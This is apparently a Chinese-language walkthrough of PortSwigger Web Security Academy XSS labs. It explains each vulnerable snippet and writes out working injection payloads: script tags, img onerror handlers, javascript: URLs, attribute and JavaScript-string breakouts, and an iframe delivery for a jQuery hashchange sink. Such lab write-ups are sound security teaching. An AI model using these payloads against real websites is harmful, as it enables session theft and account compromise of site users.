Burp Web Academy XSS 跨站脚本漏洞

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的 Cross-site scripting (XSS) 章节(即跨站脚本漏洞)。

0x02. Cross-site scripting (XSS)

2.1 Lab: Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.

To solve the lab, perform a cross-site scripting attack that calls the alert function.

反射型 XSS,直接搜索 <script>alert(1)</script> 即可。

2.2 Lab: Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

存储型 XSS,直接评论 <script>alert(1)</script> 即可。

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

DOM 型 XSS,搜索任意关键字,在页面中发现如下 JavaScript 代码:

1
2
3
4
5
6
7
8
9
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>

搜索 1%22%20onload=%22alert(1)1" onload="alert(1),填充的 HTML 代码如下:

1
<img src="/resources/images/tracker.gif?searchTerms=1" onload="alert(1)">

即可执行 XSS Payload。

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

DOM 型 XSS,搜索任意关键字,在页面中发现如下 JavaScript 代码:

1
2
3
4
5
6
7
8
9
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>

尝试 <script>alert(1)</script> 不行,但是 <img src=1 onerror=alert(1)> 可以,为什么呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<div class="container is-page">
<section class="blog-header">
<h1>
<span>0 search results for '</span>
<span id="searchMessage">
<img src="1" onerror="alert(1)">
</span>
<span>'</span>
</h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
<hr>
</section>
</div>

可以说这是现代浏览器的一个特性,通过 innerHTML 插入 <script>,后者引入的代码并不会执行,参考 Element: innerHTML property - Web APIs | MDN

2.5 Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library’s $ selector function to find an anchor element, and changes its href attribute using data from location.search.

To solve this lab, make the “back” link alert document.cookie.

feedback 页面的关键代码如下:

1
2
3
4
5
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

feedback 默认的参数为 /feedback?returnPath=/,HTML 页面代码如下:

1
2
3
<div class="is-linkback">
<a id="backLink" href="/">Back</a>
</div>

使用如下 Payload 即可完成解题:

1
/feedback?returnPath=javascript:alert(document.cookie)

2.6 Lab: DOM XSS in jQuery selector sink using a hashchange event

This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery’s $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.

To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.

页面中的 JavaScript 代码如下:

1
2
3
4
5
6
<script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>

这里的功能是根据 # 之后的关键字实现自动跳转,比如 /#More 可以跳转到 No More Burping Out Loud Guys

这个题涉及到 jQuery,如果对其部署,那么难度就不合适给 Newbie 做了,这里参考了网上的解题方案。

首先,如果搜索不存在的字符串,比如 test,那么 post.length0

1
2
3
4
var post = $('section.blog-list h2:contains(test)')
// undefined
post.length
// 0

其次,如果搜索存在的字符串,比如 More,那么 post.length1

1
2
3
4
var post = $('section.blog-list h2:contains(More)')
// undefined
post.length
// 1

而如果搜索 <h1>test</h1>,则 post.length 还是 1

1
2
3
4
5
6
var post = $('section.blog-list h2:contains(<h1>test</h1>)')
// undefined
post.length
// 1
post.get(0)
// <h1>test</h1>

这里直接创建了一个 <h1> 元素,但是在 HTML 页面中不会显示,因为没有设置父节点。利用这个操作,我们可以注入 XSS Payload:

1
https://0ae1002c03188b8384f59a2500560094.web-security-academy.net/#<img src=x onerror=print()>

但这里还有一个问题,就是需要 # 之后的内容发生变化,才会加载 XSS Payload,所以需要借助 Exploit-Server,通过 <iframe> 来发起攻击:

1
2
3
<iframe src="https://0ae1002c03188b8384f59a2500560094.web-security-academy.net/#"
onload="this.src+='<img src=x onerror=print()>'">
</iframe>

参考 javascript - XSS against jQuery PortSwigger challenge - Information Security Stack Exchange,对于老版的 jQuery,很容易造成 XSS 漏洞,而新版的 jQuery 则要求 HTML tag 之前不允许存在其他字符,所以题目通过 slice(1) 去除了 #

2.7 Lab: Reflected XSS into attribute with angle brackets HTML-encoded

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.

<> 被转义了,但是 HTML 页面中存在两处回显,还有一处是 <input>value 属性,且没有被转义:

1
2
3
4
5
6
7
8
9
10
11
12
13
<div class="container is-page">
<section class="blog-header">
<h1>0 search results for '&lt;script&gt;alert(1)&lt;/script&gt;'</h1>
<hr>
</section>
<section class="search">
<form action="/" method="GET">
<input type="text" placeholder="Search the blog..." name="search"
value="<script>alert(1)</script>">
<button type="submit" class="button">Search</button>
</form>
</section>
</div>

尝试注入属性:

1
/?search=1" onfocus=alert(1) autofocus x="

形成如下代码:

1
<input type=text placeholder='Search the blog...' name=search value="1" onfocus=alert(1) autofocus x="">

2.8 Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

提交评论后,形成如下 HTML 代码:

1
2
3
4
5
6
7
8
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="https://abcd.com">name</a> | 23 February 2025
</p>
<p>comment</p>
<p></p>
</section>

调整 URL 参数,传递 javascript:alert(1) 即可。

2.9 Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

关键的 HTML 代码如下:

1
2
3
4
<script>
var searchTerms = '&lt;script&gt;alert(1)&lt;/script&gt;';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

形成如下 <img> 代码:

1
<img src="/resources/images/tracker.gif?searchTerms=%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B">

直接在 <img> 注入似乎不行,所有特殊字符都会被 encodeURIComponent 编码,连空格都无法传递。

注意,这里有两处位置使用到外部传递的数据,一个是 searchTerms 本身的定义,一个是 encodeURIComponent(searchTerms)。第二处显然不太可能,尝试在第一处进行注入:

1
var searchTerms = 'payload';

注入 ';alert(1);//

1
var searchTerms = '';alert(1);//';

一定要注释掉末尾部分,否则会出现语法错误。

0x03. 小结

  • XSS 基本类型:存储型、反射型,以及 DOM 相关类型
  • 通过 innerHTML 插入 <script>,后者引入的代码并不会执行
    • 可以通过 <img> 触发 XSS
    • 可以通过 textContent 属性防范漏洞
    • <script> 不行的地方都可以试试 <img>
  • href XSS 触发方式
  • jQuery XSS 触发方式
  • <input> 属性注入触发 XSS
  • XSS Payload List 参考 GitHub - payloadbox/xss-payload-list
  • 所有使用外部数据的位置,都可能存在 XSS 漏洞(一切外部数据都是不可信的)

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#cross-site-scripting
  2. https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations
  3. https://github.com/payloadbox/xss-payload-list
  4. https://medium.com/@marduk.i.am/dom-xss-in-jquery-selector-sink-using-a-hashchange-event-bb3c355b3633
  5. https://security.stackexchange.com/questions/262734/xss-against-jquery-portswigger-challenge